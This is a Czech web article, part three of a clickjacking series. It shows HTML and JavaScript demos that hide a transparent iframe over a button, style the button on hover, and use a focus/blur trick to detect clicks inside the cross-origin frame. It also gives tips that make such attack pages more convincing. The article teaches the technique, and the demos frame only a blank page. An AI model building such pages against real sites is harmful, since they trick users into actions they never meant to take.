Zpět na seznam článků     Číst komentáře (0)     Verze pro tisk

Clickjacking (3)

Autor: .cCuMiNn.   
30.8.2012

Asi nejvíce omezující skutečností při použití clickjackingu je bezpečnostní politika Same Origin Policy, díky které nemůžeme zjišťovat výskyt kliknutí a jiných akcí uvnitř průhledného rámu. Nemůžeme proto adekvátně reagovat na v rámu uskutečněné akce. V tomto díle si ukážeme, že to nemusí být až tak úplně pravda.


Co bychom chtěli a ono to nejde

Pro útočníka by bylo nejpřínosnější, kdyby po uživatelském kliknutí do obsahu skrytého rámu mohl tuto akci zachytit a reagovat na ni odpovídající reakcí, například přechodem na jinou stránku, změnou přepínače, apd. V ideálním případě by se toho dalo dosáhnout jednoduchým přidáním atributu onClick k prvku IFRAME

Ukázka použití atributu onClick u iframu
  1. <iframe src="http://www..." onClick="reakce()"></iframe>

Uvedený příklad není ovšem právě kvůli omezení ze strany Same Origin Policy možné použít. Co ovšem je možné nad vloženým rámem zachytávat, jsou události mouseOver a mouseOut. Podíváme se tedy nejprve, jak je přidáním atributů onMouseOver a onMouseOut k prvku IFRAME možné vytvořit na své stránce prvek, který ač je umístěn pod rámem, dokáže reagovat na přejezd kurzoru. Následně stejných atributů využijeme také k vytvoření akce, která bude reagovat na kliknutí v rámu.

Ošetřujeme pozici kurzoru

Jistě se mnou budete souhlasit, že „klikatelný“ prvek na útočné webové stránce bude vypadat daleko přesvědčivěji, pokud bude dynamicky měnit svůj vzhled podle toho, zda je (nebo není) nad tímto prvkem umístěn kurzor. Pro demonstraci vložíme na stránku tlačítko, které překryjeme stejně velkým průhledným rámem a pro změnu vzhledu tlačítka po najetí kurzoru nad rám využijeme ovladačů událostí onMouseOver a onMouseOut prvku IFRAME.

Ukázka reakce na pozici kurzoru
  1. <html>
  2.   <head></head>
  3.   <body>
  4.     <style>
  5.       #invisible_ifrm {
  6.         opacity: 0;
  7.         overflow: hidden;
  8.         position: absolute;
  9.         width: 100px;
  10.         height: 40px;
  11.         left: 48%;
  12.         top: 48%;
  13.       }
  14.       #btn {
  15.         position: absolute;
  16.         width: 100px;
  17.         height: 40px;
  18.         left: 48%;
  19.         top: 48%;
  20.         background: silver;
  21.       }      
  22.     </style>
  23.    
  24.     <input type="button" value="Vstup" id="btn">
  25.     <iframe
  26.      src = "about:blank"
  27.      id = "invisible_ifrm"
  28.      onmouseout = "getElementById('btn').style.background='silver'"
  29.      onmouseover = "getElementById('btn').style.background='grey'">
  30.     </iframe>  
  31.   </body>
  32. </html>

Demonstrace: demo_clk3_1.html


Ošetřujeme kliknutí v rámu

Funkčnost dynamické změny vzhledu prvku po najetí kurzorem byla triviální. Jak však zjistit, zda došlo nad vloženým rámem ke kliknutí? Výskyt události Click nad rámem zjišťovat nemůžeme a budeme proto nuceni využít jistého hacku, který spočívá v ošetření události Blur jiného našeho prvku. K této události dochází vždy, když daný prvek ztratí focus. Do své stránky si proto vložíme například prvek INPUT, kterému pomocí ovladače události onMouseOver u rámu vždy přiřadíme focus ve chvíli, kdy najedeme kurzorem nad skrytý rám. Ve chvíli, kdy uživatel nad rámem klikne, dochází automaticky ke ztrátě tohoto focusu a k vyvolání události Blur, kterou u prvku dokážeme zachytit a patřičně na ni reagovat.

Abychom zabránili vykonání ovladače onBlur u pomocného inputu ve chvíli, kdy uživatel klikne na jiné místo webové stránky, než ve vloženém rámu, zavedli jsme si proměnou foc, která mění svou hodnotu podle toho, zda se kurzor právě nachází nad rámem nebo mimo něj.

Ukázka reakce na kliknutí ve skrytém rámu
  1. <html>
  2.   <head></head>
  3.   <body>
  4.     <style>
  5.       #invisible_ifrm {
  6.         opacity: 0;
  7.         overflow: hidden;
  8.         position: absolute;
  9.         width: 100px;
  10.         height: 40px;
  11.         left: 48%;
  12.         top: 48%;
  13.       }
  14.       #btn {
  15.         position: absolute;
  16.         width: 100px;
  17.         height: 40px;
  18.         left: 48%;
  19.         top: 48%;
  20.         background: silver;
  21.       }
  22.       #btnfoc {
  23.         position: absolute;
  24.         left: -1000px;
  25.       }
  26.       #napis {
  27.         position: absolute;
  28.         z-index: 1;
  29.         left: 48%;
  30.         top: 48%;
  31.         width: 100px;
  32.         text-align: center;
  33.       }      
  34.     </style>
  35.    
  36.     <script>
  37.       var foc=0;
  38.       function action() {
  39.         if (foc==1) {
  40.           document.getElementById('btndiv').innerHTML="<h1 id='napis'>OK</h2>";
  41.         }
  42.       }
  43.       function mouse_over() {
  44.         document.getElementById('btn').style.background='grey';
  45.         foc=1;
  46.         document.getElementById('btnfoc').focus();
  47.       }
  48.       function mouse_out() {
  49.         document.getElementById('btn').style.background='silver';
  50.         foc=0;
  51.       }
  52.   </script>
  53.    
  54.     <input type="button" id="btnfoc" onblur="action()">
  55.     <div id="btndiv">
  56.       <input type="button" value="Vstup" id="btn">
  57.     </div>
  58.     <iframe
  59.      src = "about:blank"
  60.      id = "invisible_ifrm"
  61.      onmouseover = "mouse_over()"
  62.      onmouseout = "mouse_out()">
  63.     </iframe>  
  64.   </body>
  65. </html>

Demonstrace: demo_clk3_2.html


Poznámka: Jako akci po kliknutí v rámu nedoporučuji provádět okamžitý přechod na jinou webovou stránku. Mohlo by se totiž stát, že dojde k opuštění aktuální stránky dříve, než vložený rám odešle všechny požadované požadavky. Mnohem lepší je změnit dynamicky obsah aktuální webové stránky a průhledný rám v ní ponechat. V případě, že chcete stránku přesto opustit, je lepší volat přesměrování funkcí setTimeout s určitým časovým zpožděním.


Co nás čeká příště

Myslím si, že klikání máme už všichni dost a tak se v příštím dílu seriálu podíváme na možnosti, jak je s využitím rámů možné přimět uživatele k tomu, aby vyplnili a odeslali formulář takovým způsobem, který pro ně může mít velice nemilé následky.


Líbil se Vám článek?
Budeme potěšeni, pokud vás zaujme také reklamní nabídka

Social Bookmarking

     





Hodnocení/Hlasovalo: 1.8/10

1  2  3  4  5    
(známkování jako ve škole)